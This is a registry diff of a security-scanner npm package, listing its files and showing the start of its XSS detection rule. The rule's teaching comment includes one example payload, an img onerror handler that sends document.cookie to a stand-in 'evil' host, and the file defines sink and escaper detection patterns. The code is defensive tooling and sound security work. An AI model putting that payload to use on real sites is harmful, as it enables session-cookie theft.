@sikkuumiii/defuse 0.0.0-stage → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +235 -0
- package/README.md +561 -2
- package/dist/src/cli.d.ts +20 -0
- package/dist/src/cli.js +619 -0
- package/dist/src/cli.js.map +1 -0
- package/dist/src/core/analyze.d.ts +178 -0
- package/dist/src/core/analyze.js +834 -0
- package/dist/src/core/analyze.js.map +1 -0
- package/dist/src/core/coverage.d.ts +87 -0
- package/dist/src/core/coverage.js +181 -0
- package/dist/src/core/coverage.js.map +1 -0
- package/dist/src/core/finding.d.ts +196 -0
- package/dist/src/core/finding.js +178 -0
- package/dist/src/core/finding.js.map +1 -0
- package/dist/src/core/licence.d.ts +50 -0
- package/dist/src/core/licence.js +56 -0
- package/dist/src/core/licence.js.map +1 -0
- package/dist/src/core/paths.d.ts +21 -0
- package/dist/src/core/paths.js +58 -0
- package/dist/src/core/paths.js.map +1 -0
- package/dist/src/core/score.d.ts +137 -0
- package/dist/src/core/score.js +232 -0
- package/dist/src/core/score.js.map +1 -0
- package/dist/src/dast/targets.d.ts +30 -0
- package/dist/src/dast/targets.js +79 -0
- package/dist/src/dast/targets.js.map +1 -0
- package/dist/src/dast/zap.d.ts +42 -0
- package/dist/src/dast/zap.js +184 -0
- package/dist/src/dast/zap.js.map +1 -0
- package/dist/src/engine/scan.d.ts +80 -0
- package/dist/src/engine/scan.js +129 -0
- package/dist/src/engine/scan.js.map +1 -0
- package/dist/src/engine/shapes.d.ts +47 -0
- package/dist/src/engine/shapes.js +328 -0
- package/dist/src/engine/shapes.js.map +1 -0
- package/dist/src/engine/walk.d.ts +60 -0
- package/dist/src/engine/walk.js +156 -0
- package/dist/src/engine/walk.js.map +1 -0
- package/dist/src/parse/astDump.d.ts +31 -0
- package/dist/src/parse/astDump.js +66 -0
- package/dist/src/parse/astDump.js.map +1 -0
- package/dist/src/parse/languages.d.ts +70 -0
- package/dist/src/parse/languages.js +174 -0
- package/dist/src/parse/languages.js.map +1 -0
- package/dist/src/parse/location.d.ts +17 -0
- package/dist/src/parse/location.js +38 -0
- package/dist/src/parse/location.js.map +1 -0
- package/dist/src/parse/node-grammars.d.ts +12 -0
- package/dist/src/parse/node-grammars.js +35 -0
- package/dist/src/parse/node-grammars.js.map +1 -0
- package/dist/src/parse/parser.d.ts +126 -0
- package/dist/src/parse/parser.js +202 -0
- package/dist/src/parse/parser.js.map +1 -0
- package/dist/src/parse/tree-store.d.ts +139 -0
- package/dist/src/parse/tree-store.js +236 -0
- package/dist/src/parse/tree-store.js.map +1 -0
- package/dist/src/platform/dependency-rule.d.ts +27 -0
- package/dist/src/platform/dependency-rule.js +21 -0
- package/dist/src/platform/dependency-rule.js.map +1 -0
- package/dist/src/platform/deps.d.ts +86 -0
- package/dist/src/platform/deps.js +304 -0
- package/dist/src/platform/deps.js.map +1 -0
- package/dist/src/platform/php-facts.d.ts +49 -0
- package/dist/src/platform/php-facts.js +67 -0
- package/dist/src/platform/php-facts.js.map +1 -0
- package/dist/src/platform/runtime-version.d.ts +78 -0
- package/dist/src/platform/runtime-version.js +573 -0
- package/dist/src/platform/runtime-version.js.map +1 -0
- package/dist/src/report/colors.d.ts +50 -0
- package/dist/src/report/colors.js +97 -0
- package/dist/src/report/colors.js.map +1 -0
- package/dist/src/report/coverage-table.d.ts +90 -0
- package/dist/src/report/coverage-table.js +291 -0
- package/dist/src/report/coverage-table.js.map +1 -0
- package/dist/src/report/html-report.d.ts +66 -0
- package/dist/src/report/html-report.js +489 -0
- package/dist/src/report/html-report.js.map +1 -0
- package/dist/src/report/human.d.ts +44 -0
- package/dist/src/report/human.js +575 -0
- package/dist/src/report/human.js.map +1 -0
- package/dist/src/report/json.d.ts +24 -0
- package/dist/src/report/json.js +178 -0
- package/dist/src/report/json.js.map +1 -0
- package/dist/src/report/mark.d.ts +17 -0
- package/dist/src/report/mark.js +39 -0
- package/dist/src/report/mark.js.map +1 -0
- package/dist/src/report/pricing.d.ts +33 -0
- package/dist/src/report/pricing.js +343 -0
- package/dist/src/report/pricing.js.map +1 -0
- package/dist/src/report/sarif.d.ts +39 -0
- package/dist/src/report/sarif.js +219 -0
- package/dist/src/report/sarif.js.map +1 -0
- package/dist/src/report/site.d.ts +87 -0
- package/dist/src/report/site.js +742 -0
- package/dist/src/report/site.js.map +1 -0
- package/dist/src/rules/code-injection.d.ts +47 -0
- package/dist/src/rules/code-injection.js +326 -0
- package/dist/src/rules/code-injection.js.map +1 -0
- package/dist/src/rules/command-injection.d.ts +30 -0
- package/dist/src/rules/command-injection.js +286 -0
- package/dist/src/rules/command-injection.js.map +1 -0
- package/dist/src/rules/contract.d.ts +198 -0
- package/dist/src/rules/contract.js +39 -0
- package/dist/src/rules/contract.js.map +1 -0
- package/dist/src/rules/format-string.d.ts +46 -0
- package/dist/src/rules/format-string.js +146 -0
- package/dist/src/rules/format-string.js.map +1 -0
- package/dist/src/rules/hardcoded-secret.d.ts +38 -0
- package/dist/src/rules/hardcoded-secret.js +440 -0
- package/dist/src/rules/hardcoded-secret.js.map +1 -0
- package/dist/src/rules/lib/guards.d.ts +168 -0
- package/dist/src/rules/lib/guards.js +1179 -0
- package/dist/src/rules/lib/guards.js.map +1 -0
- package/dist/src/rules/lib/html-safety.d.ts +75 -0
- package/dist/src/rules/lib/html-safety.js +755 -0
- package/dist/src/rules/lib/html-safety.js.map +1 -0
- package/dist/src/rules/lib/local-build.d.ts +59 -0
- package/dist/src/rules/lib/local-build.js +320 -0
- package/dist/src/rules/lib/local-build.js.map +1 -0
- package/dist/src/rules/lib/strings.d.ts +208 -0
- package/dist/src/rules/lib/strings.js +1970 -0
- package/dist/src/rules/lib/strings.js.map +1 -0
- package/dist/src/rules/path-traversal.d.ts +33 -0
- package/dist/src/rules/path-traversal.js +96 -0
- package/dist/src/rules/path-traversal.js.map +1 -0
- package/dist/src/rules/registry.d.ts +19 -0
- package/dist/src/rules/registry.js +77 -0
- package/dist/src/rules/registry.js.map +1 -0
- package/dist/src/rules/sql-injection.d.ts +36 -0
- package/dist/src/rules/sql-injection.js +299 -0
- package/dist/src/rules/sql-injection.js.map +1 -0
- package/dist/src/rules/ssrf.d.ts +39 -0
- package/dist/src/rules/ssrf.js +111 -0
- package/dist/src/rules/ssrf.js.map +1 -0
- package/dist/src/rules/unbounded-copy.d.ts +37 -0
- package/dist/src/rules/unbounded-copy.js +147 -0
- package/dist/src/rules/unbounded-copy.js.map +1 -0
- package/dist/src/rules/unsafe-deserialization.d.ts +43 -0
- package/dist/src/rules/unsafe-deserialization.js +276 -0
- package/dist/src/rules/unsafe-deserialization.js.map +1 -0
- package/dist/src/rules/weak-hash.d.ts +37 -0
- package/dist/src/rules/weak-hash.js +197 -0
- package/dist/src/rules/weak-hash.js.map +1 -0
- package/dist/src/rules/xss.d.ts +38 -0
- package/dist/src/rules/xss.js +527 -0
- package/dist/src/rules/xss.js.map +1 -0
- package/dist/src/taint/content-type.d.ts +19 -0
- package/dist/src/taint/content-type.js +20 -0
- package/dist/src/taint/content-type.js.map +1 -0
- package/dist/src/taint/dictionaries.d.ts +23 -0
- package/dist/src/taint/dictionaries.js +1778 -0
- package/dist/src/taint/dictionaries.js.map +1 -0
- package/dist/src/taint/fold.d.ts +59 -0
- package/dist/src/taint/fold.js +1177 -0
- package/dist/src/taint/fold.js.map +1 -0
- package/dist/src/taint/java-scope.d.ts +61 -0
- package/dist/src/taint/java-scope.js +212 -0
- package/dist/src/taint/java-scope.js.map +1 -0
- package/dist/src/taint/local-map.d.ts +79 -0
- package/dist/src/taint/local-map.js +603 -0
- package/dist/src/taint/local-map.js.map +1 -0
- package/dist/src/taint/project.d.ts +172 -0
- package/dist/src/taint/project.js +617 -0
- package/dist/src/taint/project.js.map +1 -0
- package/dist/src/taint/tracer.d.ts +265 -0
- package/dist/src/taint/tracer.js +3817 -0
- package/dist/src/taint/tracer.js.map +1 -0
- package/dist/src/taint/types.d.ts +484 -0
- package/dist/src/taint/types.js +47 -0
- package/dist/src/taint/types.js.map +1 -0
- package/dist/src/taint/visibility.d.ts +25 -0
- package/dist/src/taint/visibility.js +96 -0
- package/dist/src/taint/visibility.js.map +1 -0
- package/docs/examples/defuse.json +20 -0
- package/docs/examples/dvwa-urls.json +14 -0
- package/docs/examples/github-code-scanning.yml +54 -0
- package/docs/examples/tiny.js +4 -0
- package/package.json +73 -4
- package/src/cli.ts +747 -0
- package/src/core/analyze.ts +1072 -0
- package/src/core/coverage.ts +269 -0
- package/src/core/finding.ts +311 -0
- package/src/core/licence.ts +61 -0
- package/src/core/paths.ts +59 -0
- package/src/core/score.ts +353 -0
- package/src/dast/targets.ts +121 -0
- package/src/dast/zap.ts +246 -0
- package/src/engine/scan.ts +200 -0
- package/src/engine/shapes.ts +348 -0
- package/src/engine/walk.ts +196 -0
- package/src/parse/astDump.ts +85 -0
- package/src/parse/languages.ts +232 -0
- package/src/parse/location.ts +44 -0
- package/src/parse/node-grammars.ts +41 -0
- package/src/parse/parser.ts +262 -0
- package/src/parse/tree-store.ts +301 -0
- package/src/platform/dependency-rule.ts +33 -0
- package/src/platform/deps.ts +374 -0
- package/src/platform/php-facts.ts +85 -0
- package/src/platform/runtime-version.ts +710 -0
- package/src/report/colors.ts +107 -0
- package/src/report/coverage-table.ts +359 -0
- package/src/report/html-report.ts +601 -0
- package/src/report/human.ts +811 -0
- package/src/report/json.ts +189 -0
- package/src/report/mark.ts +47 -0
- package/src/report/pricing.ts +374 -0
- package/src/report/sarif.ts +235 -0
- package/src/report/site.ts +760 -0
- package/src/rules/code-injection.ts +346 -0
- package/src/rules/command-injection.ts +296 -0
- package/src/rules/contract.ts +220 -0
- package/src/rules/format-string.ts +158 -0
- package/src/rules/hardcoded-secret.ts +485 -0
- package/src/rules/lib/guards.ts +1235 -0
- package/src/rules/lib/html-safety.ts +793 -0
- package/src/rules/lib/local-build.ts +329 -0
- package/src/rules/lib/strings.ts +2034 -0
- package/src/rules/path-traversal.ts +101 -0
- package/src/rules/registry.ts +90 -0
- package/src/rules/sql-injection.ts +311 -0
- package/src/rules/ssrf.ts +118 -0
- package/src/rules/unbounded-copy.ts +162 -0
- package/src/rules/unsafe-deserialization.ts +291 -0
- package/src/rules/weak-hash.ts +226 -0
- package/src/rules/xss.ts +572 -0
- package/src/taint/content-type.ts +20 -0
- package/src/taint/dictionaries.ts +1855 -0
- package/src/taint/fold.ts +1206 -0
- package/src/taint/java-scope.ts +200 -0
- package/src/taint/local-map.ts +594 -0
- package/src/taint/project.ts +774 -0
- package/src/taint/tracer.ts +4298 -0
- package/src/taint/types.ts +511 -0
- package/src/taint/visibility.ts +100 -0
- package/tsconfig.json +61 -0
package/src/rules/xss.ts
ADDED
|
@@ -0,0 +1,572 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* CROSS-SITE SCRIPTING - XSS (CWE-79, OWASP A05:2025 - Injection)
|
|
3
|
+
*
|
|
4
|
+
* WHAT THE BUG IS, in plain language:
|
|
5
|
+
* A browser reads HTML as instructions. `<script>` doesn't display the word
|
|
6
|
+
* "script" - it runs code. So if your page inserts user-supplied text into HTML
|
|
7
|
+
* without escaping it, the user can supply `<script>...</script>` and their code
|
|
8
|
+
* runs inside YOUR page, with your user's session, cookies and permissions.
|
|
9
|
+
*
|
|
10
|
+
* element.innerHTML = "Welcome " + userName;
|
|
11
|
+
*
|
|
12
|
+
* If `userName` is `<img src=x onerror=fetch('//evil/'+document.cookie)>`, the
|
|
13
|
+
* browser dutifully loads a broken image, fires the error handler, and posts
|
|
14
|
+
* the victim's session cookie to the attacker. The user never clicked anything.
|
|
15
|
+
*
|
|
16
|
+
* WHY IT'S CALLED "CROSS-SITE": the attacker's code runs on your site's origin,
|
|
17
|
+
* so the browser trusts it exactly as much as it trusts you. Same-origin policy
|
|
18
|
+
* - the rule that stops evil.com reading your bank tab - is on the attacker's
|
|
19
|
+
* side now.
|
|
20
|
+
*
|
|
21
|
+
* THE FIX:
|
|
22
|
+
* - Use the text API, not the HTML API: `textContent` instead of `innerHTML`.
|
|
23
|
+
* `textContent` never parses tags; `<script>` becomes visible characters.
|
|
24
|
+
* - When you genuinely need HTML, escape it (< becomes <) or run it through
|
|
25
|
+
* a sanitiser like DOMPurify that removes scripts and event handlers.
|
|
26
|
+
* - Template engines that auto-escape (React JSX, Jinja2, Go html/template)
|
|
27
|
+
* do this for you - which is exactly why the "escape hatches" in those
|
|
28
|
+
* libraries (dangerouslySetInnerHTML, |safe, template.HTML) are the places
|
|
29
|
+
* this rule watches.
|
|
30
|
+
*
|
|
31
|
+
* ESCAPING vs SANITISING (they are different, and people mix them up):
|
|
32
|
+
* ESCAPING turns markup into visible text - safest, use it by default.
|
|
33
|
+
* SANITISING keeps the markup but strips the dangerous parts - only when the
|
|
34
|
+
* user is genuinely allowed to send HTML, and only with a real library.
|
|
35
|
+
*/
|
|
36
|
+
|
|
37
|
+
import type { Node } from 'web-tree-sitter';
|
|
38
|
+
import type { LanguageId } from '../parse/languages.js';
|
|
39
|
+
import { asAssignment, asCall, type Rule, type RuleHit } from './contract.js';
|
|
40
|
+
import { analyzeStringExpression, looksLikeHtml } from './lib/strings.js';
|
|
41
|
+
import { partsAreGuarded } from './lib/guards.js';
|
|
42
|
+
import { analyzeHtmlSafety, supportsHtmlSafety, type HtmlSafety } from './lib/html-safety.js';
|
|
43
|
+
import { DECLARED_NOT_HTML } from '../taint/content-type.js';
|
|
44
|
+
|
|
45
|
+
/** Assigning to these properties parses the value as HTML. */
|
|
46
|
+
const HTML_SINK_PROPERTIES: Record<LanguageId, readonly string[]> = {
|
|
47
|
+
// `__html` is the inner key of React's dangerouslySetInnerHTML={{ __html: x }},
|
|
48
|
+
// which is where the actual value lands.
|
|
49
|
+
javascript: ['innerHTML', 'outerHTML', 'dangerouslySetInnerHTML', '__html', 'srcdoc'],
|
|
50
|
+
typescript: ['innerHTML', 'outerHTML', 'dangerouslySetInnerHTML', '__html', 'srcdoc'],
|
|
51
|
+
python: [],
|
|
52
|
+
java: [],
|
|
53
|
+
go: [],
|
|
54
|
+
// No DOM, so no properties that parse an assignment as HTML.
|
|
55
|
+
c: [],
|
|
56
|
+
cpp: [],
|
|
57
|
+
// `echo` is not a property assignment - it is a PHP statement. The shape
|
|
58
|
+
// layer captures `echo $x;` as an assignment whose TARGET is the `echo`
|
|
59
|
+
// keyword itself, which lets the same rule cover it without inventing a
|
|
60
|
+
// third shape kind. See ASSIGNMENT_QUERIES.php in engine/shapes.ts.
|
|
61
|
+
php: ['echo', 'print'],
|
|
62
|
+
};
|
|
63
|
+
|
|
64
|
+
/**
|
|
65
|
+
* Angular's DomSanitizer bypass calls. Angular escapes everything it renders
|
|
66
|
+
* unless told not to, and these are how code tells it not to. Juice Shop's two
|
|
67
|
+
* marked XSS lines are this call; neither was found before it was listed.
|
|
68
|
+
*/
|
|
69
|
+
const ANGULAR_BYPASS = [
|
|
70
|
+
'bypassSecurityTrustHtml', 'bypassSecurityTrustScript', 'bypassSecurityTrustUrl', 'bypassSecurityTrustResourceUrl', 'bypassSecurityTrustStyle',
|
|
71
|
+
] as const;
|
|
72
|
+
|
|
73
|
+
/** Calls that write raw HTML, or that switch a template engine's escaping OFF. */
|
|
74
|
+
const HTML_SINK_CALLS: Record<LanguageId, readonly string[]> = {
|
|
75
|
+
javascript: ['write', 'writeln', 'insertAdjacentHTML', 'html', 'append', 'prepend', 'after', 'before', ...ANGULAR_BYPASS],
|
|
76
|
+
typescript: ['write', 'writeln', 'insertAdjacentHTML', 'html', 'append', 'prepend', 'after', 'before', ...ANGULAR_BYPASS],
|
|
77
|
+
python: ['mark_safe', 'Markup', 'HttpResponse', 'render_template_string', 'format_html'],
|
|
78
|
+
java: ['print', 'println', 'write', 'printf', 'format', 'append'],
|
|
79
|
+
go: ['HTML', 'HTMLAttr', 'JS', 'Write', 'Fprintf', 'Fprint', 'Fprintln'],
|
|
80
|
+
php: ['printf', 'vprintf', 'print_r', 'var_dump'],
|
|
81
|
+
/*
|
|
82
|
+
* Deliberately EMPTY, and this is the interesting empty list in the table.
|
|
83
|
+
*
|
|
84
|
+
* C absolutely can serve HTML - that is what CGI was - and `printf` writing
|
|
85
|
+
* to stdout in a CGI binary is a genuine XSS sink. But nothing in the source
|
|
86
|
+
* distinguishes a CGI program from any other C program: printf to stdout is
|
|
87
|
+
* what every command-line tool on earth does. Listing printf here would
|
|
88
|
+
* report a "cross-site scripting" finding on `printf("done\n")` in a build
|
|
89
|
+
* script, which is the VS Code RegExp.exec mistake in a new costume.
|
|
90
|
+
*
|
|
91
|
+
* So C gets no XSS coverage, the matrix says "not implemented" rather than
|
|
92
|
+
* showing a rule that never fires, and the reason is recorded here. Note
|
|
93
|
+
* that a tainted printf format IS still reported - by the format-string
|
|
94
|
+
* rule, for the bug it actually is.
|
|
95
|
+
*/
|
|
96
|
+
c: [],
|
|
97
|
+
cpp: [],
|
|
98
|
+
};
|
|
99
|
+
|
|
100
|
+
/**
|
|
101
|
+
* Calls whose danger is unconditional because their whole purpose is to bypass
|
|
102
|
+
* escaping. These are reported even when the argument is a plain variable,
|
|
103
|
+
* because "trust me, this HTML is fine" is itself the risky decision.
|
|
104
|
+
*/
|
|
105
|
+
/**
|
|
106
|
+
* Argument types that cannot possibly carry markup, whatever they are handed to.
|
|
107
|
+
*
|
|
108
|
+
* Found by auditing this tool's own findings across five real libraries: five
|
|
109
|
+
* of the six XSS findings in Flask were escape-hatch calls whose arguments were
|
|
110
|
+
* entirely constant - `render_template_string("{{ config }}", config=42)`.
|
|
111
|
+
* Saying "do not escape this" about the number 42 is not a risky promise, it is
|
|
112
|
+
* not a promise at all.
|
|
113
|
+
*/
|
|
114
|
+
const CONSTANT_NODES = new Set([
|
|
115
|
+
'integer',
|
|
116
|
+
'float',
|
|
117
|
+
'number',
|
|
118
|
+
'true',
|
|
119
|
+
'false',
|
|
120
|
+
'none',
|
|
121
|
+
'null',
|
|
122
|
+
'undefined',
|
|
123
|
+
'boolean',
|
|
124
|
+
'decimal_integer_literal',
|
|
125
|
+
'decimal_floating_point_literal',
|
|
126
|
+
]);
|
|
127
|
+
|
|
128
|
+
const ESCAPE_HATCHES = new Set<string>([
|
|
129
|
+
'mark_safe',
|
|
130
|
+
'Markup',
|
|
131
|
+
'render_template_string',
|
|
132
|
+
'insertAdjacentHTML',
|
|
133
|
+
...ANGULAR_BYPASS,
|
|
134
|
+
]);
|
|
135
|
+
|
|
136
|
+
/**
|
|
137
|
+
* Run the safety proof where we have one, and return null where we do not.
|
|
138
|
+
* A null means "this language is not covered by the proof", which the callers
|
|
139
|
+
* must treat as "report", never as "safe".
|
|
140
|
+
*/
|
|
141
|
+
function judgeSafety(
|
|
142
|
+
value: Node,
|
|
143
|
+
ctx: { readonly file: { readonly root: Node } },
|
|
144
|
+
language: LanguageId,
|
|
145
|
+
): HtmlSafety | null {
|
|
146
|
+
if (!supportsHtmlSafety(language)) return null;
|
|
147
|
+
return analyzeHtmlSafety(value, ctx.file.root, language);
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
/**
|
|
151
|
+
* Turn the proof's result into a sentence a beginner can act on.
|
|
152
|
+
*
|
|
153
|
+
* The point is to name the SPECIFIC sub-expression that is still unescaped,
|
|
154
|
+
* rather than gesturing at the whole statement. On a 40-line template literal
|
|
155
|
+
* that is the difference between a usable finding and a shrug.
|
|
156
|
+
*/
|
|
157
|
+
function describeSafety(
|
|
158
|
+
safety: HtmlSafety | null,
|
|
159
|
+
dynamicParts: readonly string[],
|
|
160
|
+
language: LanguageId,
|
|
161
|
+
): string {
|
|
162
|
+
if (!safety) {
|
|
163
|
+
/*
|
|
164
|
+
* No proof available for this language - fall back to naming what was
|
|
165
|
+
* spliced in. Only the parts that are NOT escaped are called unescaped: this
|
|
166
|
+
* used to list every part and say "no escaping is visible", which was false
|
|
167
|
+
* whenever one of them was the escaper.
|
|
168
|
+
*/
|
|
169
|
+
const quote = (parts: readonly string[]): string => parts.slice(0, 3).map((p) => `\`${p}\``).join(', ');
|
|
170
|
+
const bare = dynamicParts.filter((p) => !readsAsEscaperCall(p, language));
|
|
171
|
+
const escaped = dynamicParts.filter((p) => readsAsEscaperCall(p, language));
|
|
172
|
+
if (bare.length === 0) return 'No escaping or sanitiser call is visible at this line. ';
|
|
173
|
+
return (
|
|
174
|
+
// "HTML escaping", not "escaping": URLEncoder.encode and escapeSql are
|
|
175
|
+
// escapers too, for another language, and wrong-domain-escape.java is why.
|
|
176
|
+
`It splices in ${quote(bare)}, and no HTML escaping is visible for ` +
|
|
177
|
+
`${bare.length === 1 ? 'it' : 'them'} at this line. ` +
|
|
178
|
+
(escaped.length ? `(${quote(escaped)} ${escaped.length === 1 ? 'does' : 'do'} go through an escaper.) ` : '')
|
|
179
|
+
);
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
const named = safety.unproven.slice(0, 3).map((p) => `\`${p}\``).join(', ');
|
|
183
|
+
const escaped = safety.escapers.length
|
|
184
|
+
? `We did confirm ${safety.escapers.map((e) => `\`${e}\``).join(', ')} runs on the other ` +
|
|
185
|
+
`spliced-in values, so this is not a blanket complaint about the line. `
|
|
186
|
+
: '';
|
|
187
|
+
|
|
188
|
+
if (safety.unproven.length === 0) {
|
|
189
|
+
return `${escaped}No escaping is visible for the value that is spliced in. `;
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
return (
|
|
193
|
+
`${escaped}What we could NOT prove safe: ${named}` +
|
|
194
|
+
`${safety.unproven.length > 3 ? ` (and ${safety.unproven.length - 3} more)` : ''}. ` +
|
|
195
|
+
`Each of those reaches the HTML parser exactly as written. `
|
|
196
|
+
);
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
/**
|
|
200
|
+
* Calls that PRODUCE escaped text, per language. Used only to let an escape
|
|
201
|
+
* hatch off when every value inside it went through one.
|
|
202
|
+
*
|
|
203
|
+
* Go's list is the `html` and `html/template` package functions; the taint
|
|
204
|
+
* dictionary already knew these names as sanitisers, but the signature path
|
|
205
|
+
* had no way to ask.
|
|
206
|
+
*/
|
|
207
|
+
/**
|
|
208
|
+
* A SHAPE RULE FOR ESCAPERS WE HAVE NEVER MET.
|
|
209
|
+
*
|
|
210
|
+
* Scanning Jenkins - 2,064 Java files - produced two flow-verified XSS findings
|
|
211
|
+
* on lines that read
|
|
212
|
+
*
|
|
213
|
+
* Functions.htmlAttributeEscape(redirectUrl)
|
|
214
|
+
*
|
|
215
|
+
* Jenkins escapes with its own helper, and the named list above knows
|
|
216
|
+
* `escapeHtml` and `htmlEscape` but not `htmlAttributeEscape`. Punishing the
|
|
217
|
+
* fix, in Java, on the sixth occasion this project has done it.
|
|
218
|
+
*
|
|
219
|
+
* The lesson is the one already learned about SOURCES and never applied to
|
|
220
|
+
* their mirror image: escapers are PER-FRAMEWORK. WordPress spells them
|
|
221
|
+
* `esc_html`, Jenkins spells them `htmlAttributeEscape`, and the next codebase
|
|
222
|
+
* will spell them a third way. Enumerating names loses that race forever.
|
|
223
|
+
*
|
|
224
|
+
* So names are matched by SHAPE as well: a call whose name says it escapes or
|
|
225
|
+
* encodes AND names a markup context. Both halves are required, which is what
|
|
226
|
+
* keeps `escapeShellArg` and `escapeSql` out - those escape for a different
|
|
227
|
+
* grammar, and treating them as HTML-safe is exactly the kind-confusion this
|
|
228
|
+
* engine exists to avoid.
|
|
229
|
+
*
|
|
230
|
+
* The explicit lists stay. They are precise, they carry intent, and this is a
|
|
231
|
+
* fallback for the framework nobody has scanned yet.
|
|
232
|
+
*/
|
|
233
|
+
const ESCAPER_SHAPE =
|
|
234
|
+
/^\s*(?:[\w.\\$]*\b)?(\w*(?:escape|encode|sanitiz|sanitis)\w*)\s*\(/i;
|
|
235
|
+
const MARKUP_CONTEXT = /html|xml|markup|attribute|\battr\b|ecma|javascript|\bjs\b|entities|tag/i;
|
|
236
|
+
|
|
237
|
+
export function looksLikeAnEscaperCall(text: string): boolean {
|
|
238
|
+
const match = ESCAPER_SHAPE.exec(flattenCallChain(text));
|
|
239
|
+
if (!match?.[1]) return false;
|
|
240
|
+
return MARKUP_CONTEXT.test(match[1]);
|
|
241
|
+
}
|
|
242
|
+
|
|
243
|
+
/*
|
|
244
|
+
* THE ESCAPER WAS RIGHT THERE, AND THE REPORT SAID NONE WAS VISIBLE.
|
|
245
|
+
*
|
|
246
|
+
* BenchmarkJava escapes with OWASP's ESAPI, and writes it the way Java style
|
|
247
|
+
* guides lay out a long chain:
|
|
248
|
+
*
|
|
249
|
+
* org.owasp
|
|
250
|
+
* .esapi
|
|
251
|
+
* .ESAPI
|
|
252
|
+
* .encoder()
|
|
253
|
+
* .encodeForHTML(value)
|
|
254
|
+
*
|
|
255
|
+
* The name lists above allow a dotted prefix, `[\w.]*`, and nothing else - so
|
|
256
|
+
* neither the line breaks nor the `()` of `encoder()` could be crossed, even
|
|
257
|
+
* on one line. The escaper went unread, and the finding printed "no escaping is
|
|
258
|
+
* visible at this line" underneath a call to encodeForHTML. 158 BenchmarkJava
|
|
259
|
+
* findings said that, and decided no scored case, so the benchmark never
|
|
260
|
+
* noticed. Deciding switches made it visible: 26 of those guesses had been
|
|
261
|
+
* withdrawn only because the tracer carried a value through a case that cannot
|
|
262
|
+
* run and saw the escaper on the way, and they came back.
|
|
263
|
+
*
|
|
264
|
+
* A chain is flattened before it is read - spaces around dots dropped, and an
|
|
265
|
+
* EMPTY call in the receiver, `encoder().`, read as a step along the path. A
|
|
266
|
+
* call with arguments is left alone: `wrap(x).escapeHtml(y)` is not a chain
|
|
267
|
+
* this should look through. The escaper is still trusted by name, exactly as
|
|
268
|
+
* before - see the DELIBERATE GAP note on this rule.
|
|
269
|
+
*/
|
|
270
|
+
function flattenCallChain(part: string): string {
|
|
271
|
+
return part.replace(/\s*\.\s*/g, '.').replace(/\(\s*\)\./g, '.');
|
|
272
|
+
}
|
|
273
|
+
|
|
274
|
+
/** Does this spliced-in part read as a call to an escaper for HTML? */
|
|
275
|
+
function readsAsEscaperCall(part: string, language: LanguageId): boolean {
|
|
276
|
+
const known = ESCAPER_CALLS[language];
|
|
277
|
+
return (!!known && known.test(flattenCallChain(part))) || looksLikeAnEscaperCall(part);
|
|
278
|
+
}
|
|
279
|
+
|
|
280
|
+
const ESCAPER_CALLS: Partial<Record<LanguageId, RegExp>> = {
|
|
281
|
+
go: /^\s*(?:[\w.]*\b(?:EscapeString|HTMLEscapeString|HTMLEscaper|HTMLEscape|JSEscapeString|JSEscaper|URLQueryEscaper|QueryEscape|PathEscape)\s*\()/,
|
|
282
|
+
python: /^\s*(?:[\w.]*\b(?:escape|quote|quote_plus|escape_silent)\s*\()/,
|
|
283
|
+
java: /^\s*(?:[\w.]*\b(?:escapeHtml|escapeHtml4|escapeXml|htmlEscape|encodeForHTML)\s*\()/,
|
|
284
|
+
// PHP's native escapers plus WordPress's, which is what almost all PHP on the
|
|
285
|
+
// internet actually calls. See the long note in taint/dictionaries.ts.
|
|
286
|
+
php: /^\s*(?:@?\\?[\w\\]*\b(?:htmlspecialchars|htmlentities|strip_tags|urlencode|rawurlencode|json_encode|wp_json_encode|intval|floatval|absint|number_format|esc_html|esc_attr|esc_url|esc_url_raw|esc_js|esc_textarea|esc_xml|esc_html__|esc_html_e|esc_html_x|esc_attr__|esc_attr_e|esc_attr_x|wp_kses|wp_kses_post|wp_kses_data|tag_escape|sanitize_html_class|sanitize_text_field|sanitize_textarea_field|sanitize_title|sanitize_email|sanitize_key|sanitize_user|e)\s*\()/,
|
|
287
|
+
};
|
|
288
|
+
|
|
289
|
+
/** Go writer names, and what a destination has to look like to be a page. */
|
|
290
|
+
const GO_WRITER_NAMES: ReadonlySet<string> = new Set([
|
|
291
|
+
'Write', 'WriteString', 'Fprintf', 'Fprint', 'Fprintln',
|
|
292
|
+
]);
|
|
293
|
+
const GO_PAGE_WRITER = /^w$|writer|\brw\b|resp|response|ResponseWriter/i;
|
|
294
|
+
|
|
295
|
+
export const xssRule: Rule = {
|
|
296
|
+
id: 'xss',
|
|
297
|
+
name: 'Unescaped value written into HTML',
|
|
298
|
+
cwe: 'CWE-79',
|
|
299
|
+
owasp: 'A05:2025 Injection',
|
|
300
|
+
severity: 'high',
|
|
301
|
+
summary: 'A value is written into a web page as HTML; if it comes from outside, it can add its own script and run as your site.',
|
|
302
|
+
fix:
|
|
303
|
+
'Insert it as text (textContent, or the template\'s auto-escaping) or escape/sanitise it before it becomes HTML.',
|
|
304
|
+
explanation:
|
|
305
|
+
'A browser reads HTML as instructions, so text inserted into a page without ' +
|
|
306
|
+
'escaping can bring its own <script> tag or event handler and run as your site. ' +
|
|
307
|
+
'It then has your user\'s session and cookies. The fix is to use a text API ' +
|
|
308
|
+
'(textContent) instead of an HTML API (innerHTML), or to escape/sanitise the ' +
|
|
309
|
+
'value before it becomes markup.',
|
|
310
|
+
limitations:
|
|
311
|
+
'UNVERIFIED (signature-based): we confirmed a value reaches an HTML-writing sink ' +
|
|
312
|
+
'and that at least one part of it could not be proven safe. We did NOT confirm ' +
|
|
313
|
+
'that part is attacker-controlled. In JavaScript and TypeScript we resolve local ' +
|
|
314
|
+
'variables and local render helpers and drop the finding when EVERY spliced-in ' +
|
|
315
|
+
'value is a literal, a number, or the result of a known escaper - so a finding ' +
|
|
316
|
+
'here names the parts that survived that check. Values escaped in another file, ' +
|
|
317
|
+
'by an imported helper, or by a framework we do not model still read as unproven. ' +
|
|
318
|
+
'DELIBERATE GAP: an escaper is trusted BY NAME (escapeHtml, DOMPurify.sanitize ' +
|
|
319
|
+
'and similar). We do not verify that such a function actually escapes anything, ' +
|
|
320
|
+
